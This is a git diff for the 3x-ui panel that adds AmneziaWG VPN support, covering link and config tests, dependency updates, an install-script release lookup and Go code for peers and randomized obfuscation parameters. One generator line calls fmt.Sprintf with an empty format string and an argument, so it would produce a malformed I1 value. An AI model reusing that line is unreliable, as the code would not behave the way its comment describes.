+ const link = genAmneziaWGLink(input);
+ expect(link.startsWith('vpn://')).toBe(true);
+
+ const decoded = fromBase64Url(link.slice('vpn://'.length));
+ expect(decoded).toBe(genAmneziaWGConfig(input));
+ expect(decoded).toContain('PrivateKey = clientPrivKey==\n');
+ expect(decoded).toContain('PublicKey = serverPubKey==\n');
+ expect(decoded).toContain('Endpoint = awg.example.test:51820');
+ // No trailing newline: the text ends on its last set field whichever that
+ // is, so the three emitters produce the same shape for the same client.
+ expect(decoded.endsWith('PersistentKeepalive = 25')).toBe(true);
+ });
+
+ it('omits every unset 3.1 field — a lone HeaderProtectionKey line would break the handshake', () => {
+ const decoded = fromBase64Url(genAmneziaWGLink(input).slice('vpn://'.length));
+ for (const absent of [
+ 'I2',
+ 'HeaderProtectionKey',
+ 'ContentPaddingAddition',
+ 'RekeyAfterTime',
+ 'RekeyTimeout',
+ 'RejectAfterTime',
+ 'KeepaliveTimeout',
+ 'MaxHandshakeAttempts',
+ 'RandomTrailers',
+ 'DisableCookies',
+ ]) {
+ expect(decoded).not.toContain(absent);
+ }
+ });
+
+ it('returns an empty string when the peer index has no client', () => {
+ expect(genAmneziaWGLink({ ...input, peerIndex: 5 })).toBe('');
+ });
+
+ // The subscription page's own reverse of the above: recovers a vpn://
+ // link's .conf text for the same copy/download/QR "Config" block
+ // WireGuard already gets there (wireguardConfigFromLink's AmneziaWG
+ // counterpart) -- found missing from that page in production (no
+ // download-config affordance for AmneziaWG links, unlike WireGuard's),
+ // even though every other surface in the panel (InboundInfoModal,
+ // ClientInfoModal, ClientQrModal) already had parity.
+ it('amneziawgConfigFromLink round-trips genAmneziaWGLink byte-identical to genAmneziaWGConfig', () => {
+ const link = genAmneziaWGLink(input);
+ expect(amneziawgConfigFromLink(link)).toBe(genAmneziaWGConfig(input));
+ });
+});
+
+describe('amneziawgConfigFromLink edge cases', () => {
+ it('returns an empty string for a non-vpn:// link', () => {
+ expect(amneziawgConfigFromLink('wireguard://abc')).toBe('');
+ expect(amneziawgConfigFromLink('')).toBe('');
+ });
+
+ it('returns an empty string for an unparseable vpn:// payload', () => {
+ expect(amneziawgConfigFromLink('vpn://not-valid-base64url!!!')).toBe('');
+ });
+});
+
+/*
+ * The full AmneziaWG 3.1 parameter block, pinned line-by-line and in order:
+ * the emitted client config must carry the identical block the Go server
+ * emitter writes (internal/amneziawg.writeObfuscation) or the tunnel breaks.
+ */
+describe('genAmneziaWGConfig 3.1 parameters', () => {
+ const settings = {
+ server: {
+ publicKey: 'serverPubKey==',
+ jc: 4,
+ jmin: 40,
+ jmax: 100,
+ s1: 30,
+ s2: 90,
+ s3: 20,
+ s4: 10,
+ h1: '10-2000',
+ h2: '3000-5000',
+ h3: '6000-8000',
+ h4: '9000-11000',
+ i1: '',
+ i2: '',
+ i3: '',
+ i4: '',
+ i5: '',
+ headerProtectionKey: 'MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=',
+ contentPaddingAddition: '16-48',
+ rekeyAfterTime: '110-140',
+ rekeyTimeout: '4-8',
+ rejectAfterTime: '190-250',
+ keepaliveTimeout: '9-15',
+ maxHandshakeAttempts: '20-40',
+ randomTrailers: true,
+ disableCookies: true,
+ },
+ clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
+ } as unknown as AmneziawgInboundSettings;
+
+ const input = {
+ settings,
+ address: 'awg.example.test',
+ port: 51820,
+ remark: 'awg-31',
+ peerIndex: 0,
+ };
+
+ it('emits every 3.1 line in the shared emitter order and round-trips through vpn://', () => {
+ const cfg = genAmneziaWGConfig(input);
+ const expectedOrder = [
+ 'Jc = 4',
+ 'H4 = 9000-11000',
+ 'I1 = ',
+ 'I2 = ',
+ 'HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=',
+ 'ContentPaddingAddition = 16-48',
+ 'RekeyAfterTime = 110-140',
+ 'RekeyTimeout = 4-8',
+ 'RejectAfterTime = 190-250',
+ 'KeepaliveTimeout = 9-15',
+ 'MaxHandshakeAttempts = 20-40',
+ 'RandomTrailers = on',
+ 'DisableCookies = on',
+ '[Peer]',
+ ];
+ let pos = -1;
+ for (const line of expectedOrder) {
+ const i = cfg.indexOf(line);
+ expect(i, `missing or out-of-order: ${line}\n${cfg}`).toBeGreaterThan(pos);
+ pos = i;
+ }
+ expect(cfg).not.toContain('I3');
+ expect(amneziawgConfigFromLink(genAmneziaWGLink(input))).toBe(cfg);
+ });
+});
+
describe('resolveAddr precedence', () => {
const baseInbound = {
listen: '',
diff --git a/frontend/src/test/link-label.test.ts b/frontend/src/test/link-label.test.ts
index ef937a05d..2e6b07c54 100644
--- a/frontend/src/test/link-label.test.ts
+++ b/frontend/src/test/link-label.test.ts
@@ -1,6 +1,8 @@
import { describe, it, expect } from 'vitest';
import { parseLinkParts, linkMetaText } from '@/lib/xray/link-label';
+import { genAmneziaWGLink } from '@/lib/xray/inbound-link';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
// The panel shows the subscription's remark verbatim. Per-client traffic/expiry
// info is rendered only into the body a client app imports (backend, first link
@@ -40,4 +42,48 @@ describe('link-label parseLinkParts', () => {
expect(parts?.remark).toBe('mt-inbound');
expect(parts && linkMetaText(parts)).toBe('mt-inbound:8443');
});
+
+ // AmneziaWG's vpn:// links are base64url of a plain .conf text, not a
+ // structured URL (see inbound-link.ts's genAmneziaWGLink) -- there's no
+ // query string or #hash available, so the remark/port have to be read back
+ // out of the decoded .conf body instead. Regression test for a real report:
+ // these links were showing a generic "Vpn" tag and falling back to "Link N"
+ // instead of "AmneziaWG" + the actual remark:port, unlike every other
+ // protocol's link row.
+ it('labels an AmneziaWG vpn:// link with its decoded remark and endpoint port', () => {
+ const settings = {
+ server: {
+ publicKey: 'serverPubKey==',
+ jc: 5,
+ jmin: 10,
+ jmax: 50,
+ s1: 30,
+ s2: 45,
+ s3: 10,
+ s4: 5,
+ h1: '',
+ h2: '',
+ h3: '',
+ h4: '',
+ i1: '',
+ },
+ clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
+ } as unknown as AmneziawgInboundSettings;
+
+ // Cyrillic remark on purpose -- matches the real report, and exercises
+ // the unicode round-trip through base64url (not just plain ASCII).
+ const link = genAmneziaWGLink({
+ settings,
+ address: 'awg.example.test',
+ port: 36541,
+ remark: 'wg-Майфун',
+ peerIndex: 0,
+ });
+
+ const parts = parseLinkParts(link);
+ expect(parts?.protocol).toBe('AmneziaWG');
+ expect(parts?.remark).toBe('wg-Майфун');
+ expect(parts?.port).toBe('36541');
+ expect(parts && linkMetaText(parts)).toBe('wg-Майфун:36541');
+ });
});
diff --git a/go.mod b/go.mod
index 62279138d..bab00b849 100644
--- a/go.mod
+++ b/go.mod
@@ -3,6 +3,7 @@ module github.com/mhsanaei/3x-ui/v3
go 1.27.0
require (
+ github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814
github.com/gin-contrib/gzip v1.2.6
github.com/gin-contrib/sessions v1.1.0
github.com/gin-gonic/gin v1.12.0
@@ -36,6 +37,7 @@ require (
gorm.io/driver/postgres v1.6.2
gorm.io/driver/sqlite v1.6.0
gorm.io/gorm v1.31.2
+ gvisor.dev/gvisor v0.0.0-20260122175437-89a5d21be8f0
pgregory.net/rapid v1.3.0
)
@@ -110,6 +112,5 @@ require (
golang.zx2c4.com/wireguard v0.0.0-20260522210424-ecfc5a8d5446 // indirect
golang.zx2c4.com/wireguard/windows v1.0.1 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754 // indirect
- gvisor.dev/gvisor v0.0.0-20260122175437-89a5d21be8f0 // indirect
lukechampine.com/blake3 v1.4.1 // indirect
)
diff --git a/go.sum b/go.sum
index 036253441..e35523df7 100644
--- a/go.sum
+++ b/go.sum
@@ -4,6 +4,8 @@ github.com/BurntSushi/toml v1.6.0 h1:dRaEfpa2VI55EwlIW72hMRHdWouJeRF7TPYhI+AUQjk
github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
+github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814 h1:l2AhBD+sFycU8Im81n/bZORMxW7fWtlZJEuJ4Hh0+z0=
+github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814/go.mod h1:YoPc6qcOZqD7TXZ1xpedD8Sx3aSKsxN05ZqEFmXDNHk=
github.com/andybalholm/brotli v1.2.2 h1:HzTuoo2ErYQqf5qvcJInB8uvqSVxRttzkFexPWtnceM=
github.com/andybalholm/brotli v1.2.2/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
github.com/apernet/quic-go v0.59.1-0.20260425001925-6c6cc9bcb716 h1:J1O+xpLuJWkdYbw5JPGwBqIHs2J8tiEP7Py9lPqkN2I=
diff --git a/install.sh b/install.sh
index f5725d46e..4ff60a069 100644
--- a/install.sh
+++ b/install.sh
@@ -1411,12 +1411,27 @@ _install_xui_service_unit() {
return 0
}
+# resolve_latest_tag prints the latest stable release tag. It prefers the web
+# releases/latest redirect, which is not subject to the unauthenticated API's
+# 60 req/h-per-IP limit that trips shared CI/CGNAT addresses (the install then
+# fails with "Failed to fetch x-ui version"), and falls back to the API.
+resolve_latest_tag() {
+ local url tag
+ url=$(curl -sSLI -o /dev/null -w '%{url_effective}' --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://github.com/MHSanaei/3x-ui/releases/latest" 2>/dev/null)
+ tag=${url##*/tag/}
+ if [[ "$tag" != "$url" && -n "$tag" && "$tag" != "latest" ]]; then
+ echo "$tag"
+ return 0
+ fi
+ curl -Ls --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://api.github.com/repos/MHSanaei/3x-ui/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/'
+}
+
install_x-ui() {
cd ${xui_folder%/x-ui}/
# Download resources
if [ $# == 0 ]; then
- tag_version=$(curl -Ls --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://api.github.com/repos/MHSanaei/3x-ui/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
+ tag_version=$(resolve_latest_tag)
if [[ ! -n "$tag_version" ]]; then
echo -e "${red}Failed to fetch x-ui version, it may be due to GitHub API restrictions, please try it later${plain}"
exit 1
diff --git a/internal/amneziawg/instance.go b/internal/amneziawg/instance.go
new file mode 100644
index 000000000..ad9752d81
--- /dev/null
+++ b/internal/amneziawg/instance.go
@@ -0,0 +1,164 @@
+// Package amneziawg holds the AmneziaWG protocol's shared, DB-backed shapes
+// (Instance, Peer, Obfuscation31, ServerSettings/InboundSettings) and the
+// pure functions that derive an Instance from a stored inbound row. It no
+// longer manages any OS-level interface itself: that was the kernel-module
+// (DKMS) + awg-quick + TPROXY architecture this fork shipped originally,
+// retired in favor of an embedded, pure-Go one (amneziawg-go over a gVisor
+// netstack, see internal/amneziawgnet) in a hard cutover. This package's
+// remaining code is deliberately protocol-shape-only, with no OS dependency
+// at all, so both the (now-removed) kernel-module path and the embedded
+// path could read -- and, historically, did read -- it identically.
+package amneziawg
+
+import (
+ "encoding/json"
+ "fmt"
+ "net/netip"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+// InstanceFromInbound derives a desired Instance from an AmneziaWG inbound,
+// building one peer per active client. Returns false when the inbound is not
+// a usable AmneziaWG inbound (wrong protocol, unparseable settings, or no
+// server block) or has no enabled peer to serve — mirroring
+// mtproto.InstanceFromInbound, which skips the sidecar entirely rather than
+// run it with nothing to serve.
+func InstanceFromInbound(ib *model.Inbound) (Instance, bool) {
+ if ib == nil || ib.Protocol != model.AmneziaWG {
+ return Instance{}, false
+ }
+ var parsed InboundSettings
+ if err := json.Unmarshal([]byte(ib.Settings), &parsed); err != nil || parsed.Server == nil {
+ return Instance{}, false
+ }
+ server := parsed.Server
+
+ peers := make([]Peer, 0, len(parsed.Clients))
+ for _, c := range parsed.Clients {
+ if !c.Enable || c.PublicKey == "" || len(c.AllowedIPs) == 0 {
+ continue
+ }
+ peers = append(peers, Peer{
+ Email: c.Email,
+ PublicKey: c.PublicKey,
+ PresharedKey: c.PreSharedKey,
+ AllowedIPs: c.AllowedIPs,
+ ForwardedPorts: c.ForwardedPorts,
+ })
+ }
+ if len(peers) == 0 {
+ return Instance{}, false
+ }
+
+ addresses := []string{serverAddress(server.SubnetIP, server.SubnetCIDR)}
+ if server.IPv6Enabled {
+ if v6, ok := serverAddressV6(server.IPv6Subnet); ok {
+ addresses = append(addresses, v6)
+ }
+ }
+
+ return Instance{
+ Id: ib.Id,
+ Tag: ib.Tag,
+ InterfaceName: interfaceNameForID(ib.Id),
+ ListenPort: ib.Port,
+ PrivateKey: server.PrivateKey,
+ PublicKey: server.PublicKey,
+ Address: addresses,
+ MTU: server.MTU,
+ Obfuscation: server.Obfuscation(),
+ Peers: peers,
+ ExternalInterface: server.ExternalInterface,
+ IPv6Enabled: server.IPv6Enabled,
+ IPv6ExternalInterface: server.IPv6ExternalInterface,
+ RouteThroughXray: server.RouteThroughXray,
+ }, true
+}
+
+// interfaceNameForID derives the OS-level interface name for an inbound, e.g.
+// "awg42". Kept even though the embedded path has no real kernel interface
+// of its own: internal/amneziawgnet still uses the same name as a purely
+// cosmetic/log-friendly label, so an existing peer's identity/history
+// doesn't shift across the cutover.
+func interfaceNameForID(id int) string {
+ return fmt.Sprintf("awg%d", id)
+}
+
+// serverAddress returns the server's own tunnel address for a subnet base,
+// e.g. "10.8.1.1/24" for base "10.8.1.0" or "10.8.1.5". The server always
+// holds the first usable host of the network subnetIP/cidr actually
+// describes -- derived via netip rather than assuming subnetIP already ends
+// in ".0", so a subnetIP that isn't a bare network address (a typo, or a
+// manually edited value) can never collide with peer addresses, which are
+// allocated starting from the network's second host upward (see
+// allocateWireguardAddress). Falls back to the previous literal behavior
+// only if subnetIP/cidr doesn't parse as an IPv4 network at all -- normal
+// saves never reach that path since ValidateSubnetIPv4 already rejects it.
+func serverAddress(subnetIP string, cidr int) string {
+ if cidr <= 0 {
+ cidr = 24
+ }
+ // A /32 has no host bits at all -- "first usable host" is meaningless,
+ // and Next() would step outside the block entirely -- so a single-host
+ // base is used exactly as given, same as before this fix.
+ prefix, err := netip.ParsePrefix(fmt.Sprintf("%s/%d", subnetIP, cidr))
+ if err != nil || !prefix.Addr().Is4() || cidr >= 32 {
+ return fmt.Sprintf("%s/%d", subnetIP, cidr)
+ }
+ host := prefix.Masked().Addr().Next()
+ return fmt.Sprintf("%s/%d", host, cidr)
+}
+
+// serverAddressV6 returns the server's own IPv6 tunnel address for a subnet
+// CIDR (e.g. "fd86:ea04:1115::1/64" for "fd86:ea04:1115::/64"), the first
+// usable host in the prefix. ok is false when subnetCIDR is empty or not a
+// valid IPv6 prefix.
+func serverAddressV6(subnetCIDR string) (addr string, ok bool) {
+ prefix, err := netip.ParsePrefix(subnetCIDR)
+ if err != nil || !prefix.Addr().Is6() {
+ return "", false
+ }
+ host := prefix.Masked().Addr().Next()
+ return fmt.Sprintf("%s/%d", host, prefix.Bits()), true
+}
+
+// FirstIPv4 returns the first IPv4 address (mask stripped) among allowedIPs,
+// or "" if none — used to derive a peer's tunnel IPv4 address.
+func FirstIPv4(allowedIPs []string) string {
+ for _, a := range allowedIPs {
+ if prefix, err := netip.ParsePrefix(a); err == nil {
+ if prefix.Addr().Is4() {
+ return prefix.Addr().String()
+ }
+ continue
+ }
+ if addr, err := netip.ParseAddr(a); err == nil && addr.Is4() {
+ return addr.String()
+ }
+ }
+ return ""
+}
+
+// FirstIPv6 returns the first IPv6 address (mask stripped) among allowedIPs,
+// or "" if none — the IPv6 counterpart of FirstIPv4, used by
+// internal/amneziawgnet's IPv6-address-alias mechanism to find which
+// address, if any, a peer wants aliased onto the host, and by
+// internal/web/service/xray.go's injectAmneziawgV6Egress to build that
+// peer's own freedom outbound (sendThrough). Only the first match is
+// returned, exactly like FirstIPv4 — more than one IPv6 AllowedIPs entry
+// per peer is not a supported configuration for either feature.
+func FirstIPv6(allowedIPs []string) string {
+ for _, a := range allowedIPs {
+ if prefix, err := netip.ParsePrefix(a); err == nil {
+ if prefix.Addr().Is6() && !prefix.Addr().Is4In6() {
+ return prefix.Addr().String()
+ }
+ continue
+ }
+ if addr, err := netip.ParseAddr(a); err == nil && addr.Is6() && !addr.Is4In6() {
+ return addr.String()
+ }
+ }
+ return ""
+}
diff --git a/internal/amneziawg/instance_test.go b/internal/amneziawg/instance_test.go
new file mode 100644
index 000000000..aba5aa2b4
--- /dev/null
+++ b/internal/amneziawg/instance_test.go
@@ -0,0 +1,187 @@
+package amneziawg
+
+import (
+ "encoding/json"
+ "testing"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+func mkInboundSettings(t *testing.T, server *ServerSettings, clients []model.Client) string {
+ t.Helper()
+ bs, err := json.Marshal(InboundSettings{Server: server, Clients: clients})
+ if err != nil {
+ t.Fatalf("marshal settings: %v", err)
+ }
+ return string(bs)
+}
+
+func validServer() *ServerSettings {
+ return &ServerSettings{
+ PrivateKey: "serverPriv",
+ PublicKey: "serverPub",
+ SubnetIP: "10.8.1.0",
+ SubnetCIDR: 24,
+ }
+}
+
+func TestInstanceFromInboundParsesEnabledPeers(t *testing.T) {
+ settings := mkInboundSettings(t, validServer(), []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pubA", PreSharedKey: "pskA", AllowedIPs: []string{"10.8.1.2/32"}},
+ {Email: "b@x", Enable: false, PublicKey: "pubB", AllowedIPs: []string{"10.8.1.3/32"}},
+ {Email: "c@x", Enable: true, PublicKey: "", AllowedIPs: []string{"10.8.1.4/32"}}, // no key: skipped
+ {Email: "d@x", Enable: true, PublicKey: "pubD", AllowedIPs: nil}, // no address: skipped
+ })
+ ib := &model.Inbound{Id: 7, Tag: "awg-tag", Protocol: model.AmneziaWG, Port: 51820, Settings: settings}
+
+ inst, ok := InstanceFromInbound(ib)
+ if !ok {
+ t.Fatal("expected a usable instance")
+ }
+ if inst.Id != 7 || inst.Tag != "awg-tag" || inst.ListenPort != 51820 {
+ t.Fatalf("instance identity not carried over: %+v", inst)
+ }
+ if inst.InterfaceName != "awg7" {
+ t.Fatalf("InterfaceName = %q, want awg7", inst.InterfaceName)
+ }
+ if len(inst.Address) != 1 || inst.Address[0] != "10.8.1.1/24" {
+ t.Fatalf("Address = %v, want [10.8.1.1/24]", inst.Address)
+ }
+ if len(inst.Peers) != 1 {
+ t.Fatalf("Peers = %+v, want exactly 1 (only a@x qualifies)", inst.Peers)
+ }
+ p := inst.Peers[0]
+ if p.Email != "a@x" || p.PublicKey != "pubA" || p.PresharedKey != "pskA" || len(p.AllowedIPs) != 1 || p.AllowedIPs[0] != "10.8.1.2/32" {
+ t.Fatalf("peer mismatch: %+v", p)
+ }
+}
+
+func TestInstanceFromInboundCopiesAWG30Fields(t *testing.T) {
+ server := validServer()
+ server.S1, server.S2, server.S3, server.S4 = 20, 20, 20, 20
+ server.HeaderProtectionKey = "some-header-protection-key"
+ server.ContentPaddingAddition = "50-100"
+ settings := mkInboundSettings(t, server, []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+ })
+ ib := &model.Inbound{Id: 7, Protocol: model.AmneziaWG, Port: 51820, Settings: settings}
+
+ inst, ok := InstanceFromInbound(ib)
+ if !ok {
+ t.Fatal("expected a usable instance")
+ }
+ if inst.Obfuscation.HeaderProtectionKey != "some-header-protection-key" {
+ t.Fatalf("HeaderProtectionKey = %q, want it copied from ServerSettings", inst.Obfuscation.HeaderProtectionKey)
+ }
+ if inst.Obfuscation.ContentPaddingAddition != "50-100" {
+ t.Fatalf("ContentPaddingAddition = %q, want it copied from ServerSettings", inst.Obfuscation.ContentPaddingAddition)
+ }
+}
+
+func TestInstanceFromInboundRejectsWrongProtocol(t *testing.T) {
+ settings := mkInboundSettings(t, validServer(), []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+ })
+ ib := &model.Inbound{Id: 1, Protocol: model.VLESS, Settings: settings}
+ if _, ok := InstanceFromInbound(ib); ok {
+ t.Fatal("non-AmneziaWG inbound must be rejected")
+ }
+}
+
+func TestInstanceFromInboundRejectsNil(t *testing.T) {
+ if _, ok := InstanceFromInbound(nil); ok {
+ t.Fatal("nil inbound must be rejected")
+ }
+}
+
+func TestInstanceFromInboundRejectsMissingServer(t *testing.T) {
+ ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: `{"clients":[]}`}
+ if _, ok := InstanceFromInbound(ib); ok {
+ t.Fatal("settings with no server block must be rejected")
+ }
+}
+
+func TestInstanceFromInboundRejectsUnparseableSettings(t *testing.T) {
+ ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: `not json`}
+ if _, ok := InstanceFromInbound(ib); ok {
+ t.Fatal("unparseable settings must be rejected")
+ }
+}
+
+func TestInstanceFromInboundEmptyWhenNoEnabledPeers(t *testing.T) {
+ settings := mkInboundSettings(t, validServer(), []model.Client{
+ {Email: "a@x", Enable: false, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+ })
+ ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: settings}
+ if _, ok := InstanceFromInbound(ib); ok {
+ t.Fatal("an inbound with zero enabled peers must be skipped, like mtproto.InstanceFromInbound")
+ }
+}
+
+func TestServerAddress(t *testing.T) {
+ cases := []struct {
+ subnet string
+ cidr int
+ want string
+ }{
+ {"10.8.1.0", 24, "10.8.1.1/24"},
+ {"10.8.1.0", 0, "10.8.1.1/24"}, // cidr <= 0 defaults to /24
+ {"10.8.1.5", 24, "10.8.1.1/24"}, // non-network base: must not collide with peer allocation starting at .2
+ {"10.8.1.254", 24, "10.8.1.1/24"},
+ {"192.168.5.10", 32, "192.168.5.10/32"}, // /32 has no host bits: used as-is
+ }
+ for _, c := range cases {
+ if got := serverAddress(c.subnet, c.cidr); got != c.want {
+ t.Errorf("serverAddress(%q, %d) = %q, want %q", c.subnet, c.cidr, got, c.want)
+ }
+ }
+}
+
+func TestInterfaceNameForID(t *testing.T) {
+ if got := interfaceNameForID(42); got != "awg42" {
+ t.Errorf("interfaceNameForID(42) = %q, want awg42", got)
+ }
+}
+
+func TestFirstIPv4(t *testing.T) {
+ cases := []struct {
+ name string
+ ips []string
+ want string
+ }{
+ {"single v4 CIDR", []string{"10.8.1.2/32"}, "10.8.1.2"},
+ {"bare v4 address, no mask", []string{"10.8.1.2"}, "10.8.1.2"},
+ {"v6 first, v4 second", []string{"fd86:ea04:1115::2/128", "10.8.1.2/32"}, "10.8.1.2"},
+ {"v4-only among several", []string{"10.8.1.2/32", "10.8.1.3/32"}, "10.8.1.2"},
+ {"v6 only", []string{"fd86:ea04:1115::2/128"}, ""},
+ {"empty input", nil, ""},
+ {"unparseable entries skipped", []string{"not-an-ip", "10.8.1.2/32"}, "10.8.1.2"},
+ }
+ for _, c := range cases {
+ if got := FirstIPv4(c.ips); got != c.want {
+ t.Errorf("%s: FirstIPv4(%v) = %q, want %q", c.name, c.ips, got, c.want)
+ }
+ }
+}
+
+func TestFirstIPv6(t *testing.T) {
+ cases := []struct {
+ name string
+ ips []string
+ want string
+ }{
+ {"single v6 CIDR", []string{"fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+ {"bare v6 address, no mask", []string{"fd86:ea04:1115::2"}, "fd86:ea04:1115::2"},
+ {"v4 first, v6 second", []string{"10.8.1.2/32", "fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+ {"only first of two v6 entries returned", []string{"fd86:ea04:1115::2/128", "fd86:ea04:1115::3/128"}, "fd86:ea04:1115::2"},
+ {"v4 only", []string{"10.8.1.2/32"}, ""},
+ {"empty input", nil, ""},
+ {"unparseable entries skipped", []string{"not-an-ip", "fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+ {"v4-mapped v6 is not a real v6 identity", []string{"::ffff:10.8.1.2/128"}, ""},
+ }
+ for _, c := range cases {
+ if got := FirstIPv6(c.ips); got != c.want {
+ t.Errorf("%s: FirstIPv6(%v) = %q, want %q", c.name, c.ips, got, c.want)
+ }
+ }
+}
diff --git a/internal/amneziawg/params.go b/internal/amneziawg/params.go
new file mode 100644
index 000000000..9bbc92386
--- /dev/null
+++ b/internal/amneziawg/params.go
@@ -0,0 +1,337 @@
+package amneziawg
+
+import (
+ "crypto/rand"
+ "encoding/base64"
+ "fmt"
+ "math/big"
+ "net/netip"
+ "regexp"
+ "strconv"
+ "strings"
+)
+
+// awgHMax caps generated H values at 2^31-1: the spec allows the full uint32,
+// but the amneziawg-windows-client config editor rejects anything above.
+const awgHMax = 2147483647
+
+// hMinWidth is the minimum width of each generated H1-H4 range.
+const hMinWidth = 1000
+
+// hMaxValid is the largest value ValidateObfuscation accepts for an H
+// parameter: uint32 max, the kernel's own limit.
+const hMaxValid int64 = 4294967295
+
+// randInt returns a uniform random int in [min, max] using crypto/rand. Falls
+// back to min on the (practically impossible) RNG error.
+func randInt(min, max int) int {
+ if max <= min {
+ return min
+ }
+ n, err := rand.Int(rand.Reader, big.NewInt(int64(max-min)+1))
+ if err != nil {
+ return min
+ }
+ return min + int(n.Int64())
+}
+
+// GenerateObfuscation31 produces a randomized AmneziaWG 3.1 parameter set: a
+// static value gets profiled by DPI, defeating the point.
+func GenerateObfuscation31() Obfuscation31 {
+ var o Obfuscation31
+
+ o.Jc = randInt(3, 6)
+ o.Jmin = randInt(40, 89)
+ o.Jmax = o.Jmin + randInt(50, 250)
+
+ o.S1 = randInt(15, 150)
+ o.S2 = randInt(15, 150)
+ // Kernel constraint: S1+56 != S2, else init and response handshake
+ // packets end up the same size after padding.
+ for o.S1+56 == o.S2 {
+ o.S2 = randInt(15, 150)
+ }
+ // Floored at 12: HeaderProtectionKey is always generated below, and IpcSet
+ // rejects header protection unless every S1-S4 is >= 12.
+ o.S3 = randInt(12, 55) // cookie padding (max 64)
+ o.S4 = randInt(12, 27) // transport padding (max 32)
+
+ h := generateHRanges()
+ o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
+
+ // CPS signature packet, N random bytes before each handshake. I2-I5 stay
+ // empty, matching Amnezia's own generator.
+ o.I1 = fmt.Sprintf("", randInt(32, 256))
+
+ o.HeaderProtectionKey = generateHeaderProtectionKey()
+
+ // Total padding stays <= 64: it rides on full-size transport packets, the
+ // same MTU headroom that caps S4 at 32.
+ cpLo := randInt(8, 24)
+ o.ContentPaddingAddition = fmt.Sprintf("%d-%d", cpLo, cpLo+randInt(8, 40))
+
+ // Timing windows bracket WireGuard's own constants (rekey 120s, reject
+ // 180s) so sessions still renew before expiry.
+ rkLo := randInt(100, 120)
+ rkHi := rkLo + randInt(10, 40)
+ o.RekeyAfterTime = fmt.Sprintf("%d-%d", rkLo, rkHi)
+
+ // Every reject value exceeds every rekey value by >= 30s by construction.
+ rjLo := rkHi + randInt(30, 60)
+ o.RejectAfterTime = fmt.Sprintf("%d-%d", rjLo, rjLo+randInt(30, 90))
+
+ rtLo := randInt(3, 6)
+ o.RekeyTimeout = fmt.Sprintf("%d-%d", rtLo, rtLo+randInt(1, 4))
+
+ // Max 20s: under clients' typical 25s PersistentKeepalive and ~30s NAT UDP
+ // timeouts, or idle links lose their NAT mapping.
+ kaLo := randInt(8, 12)
+ o.KeepaliveTimeout = fmt.Sprintf("%d-%d", kaLo, kaLo+randInt(2, 8))
+
+ haLo := randInt(15, 25)
+ o.MaxHandshakeAttempts = fmt.Sprintf("%d-%d", haLo, haLo+randInt(5, 25))
+
+ o.RandomTrailers = true
+ // Cookie replies are DPI-fingerprintable; this stealth default trades away
+ // WG's handshake-flood mitigation and is toggleable per inbound.
+ o.DisableCookies = true
+
+ return o
+}
+
+// generateHeaderProtectionKey returns base64 of 32 crypto/rand bytes, the
+// format amneziawg-tools' HeaderProtectionKey parser expects.
+func generateHeaderProtectionKey() string {
+ key := make([]byte, 32)
+ if _, err := rand.Read(key); err != nil {
+ return ""
+ }
+ return base64.StdEncoding.EncodeToString(key)
+}
+
+// generateHRanges returns four non-overlapping "low-high" ranges for H1-H4,
+// one per band of the space so non-overlap needs no retries. The low bound is
+// >= 5: values 1-4 are reserved for vanilla WireGuard message types.
+func generateHRanges() [4]string {
+ const lo = 5
+ bandSize := (awgHMax - lo + 1) / 4
+ var out [4]string
+ for i := 0; i < 4; i++ {
+ bandLo := lo + i*bandSize
+ bandHi := bandLo + bandSize - 1
+ start := randInt(bandLo, bandHi-hMinWidth-1)
+ end := randInt(start+hMinWidth, bandHi-1)
+ out[i] = fmt.Sprintf("%d-%d", start, end)
+ }
+ return out
+}
+
+// ValidateObfuscation rejects malformed parameters before they are saved, so
+// a bad manual entry can't break the embedded amneziawg-go device's own
+// UAPI config apply (internal/amneziawgnet's buildUAPIConfig/IpcSet) or
+// produce a client config the official app rejects outright. Blank H values
+// are allowed (they fall back to a default); each accepts an integer or a
+// "100-800" range.
+func ValidateObfuscation(o Obfuscation31) error {
+ if o.Jmin > o.Jmax {
